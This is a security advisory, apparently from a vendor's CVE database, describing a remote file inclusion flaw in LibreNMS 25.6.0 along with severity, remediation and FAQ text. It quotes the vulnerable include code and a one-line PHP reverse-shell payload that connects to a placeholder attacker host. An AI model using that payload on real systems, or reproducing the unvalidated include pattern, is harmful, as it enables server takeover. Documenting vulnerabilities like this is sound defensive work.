CVE-2025-54138

LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.

The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:

if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}

This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path, for example, via symlink, development misconfiguration, or chained vulnerabilities.

This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.

Conditions for Exploitation

• Attacker must be authenticated
• Attacker must control a file at includes/html/forms/{type}.inc.php (or symlink)

Example Impact (RCE)

If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:

<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>

https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812

CVE-2025-54138 has a CVSS score of 7.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (25.7.0); upgrading removes the vulnerable code path.

Kodem intelligence

• Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
• Avoid passing raw POST input into include_once.
• Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).

1. What is CVE-2025-54138? CVE-2025-54138 is a high-severity security vulnerability in librenms/librenms (composer), affecting versions < 25.7.0. It is fixed in 25.7.0.
2. How severe is CVE-2025-54138? CVE-2025-54138 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of librenms/librenms are affected by CVE-2025-54138? librenms/librenms (composer) versions < 25.7.0 is affected.
4. Is there a fix for CVE-2025-54138? Yes. CVE-2025-54138 is fixed in 25.7.0. Upgrade to this version or later.
5. Is CVE-2025-54138 exploitable, and should I be worried? Whether CVE-2025-54138 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-54138 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-54138? Upgrade librenms/librenms to 25.7.0 or later.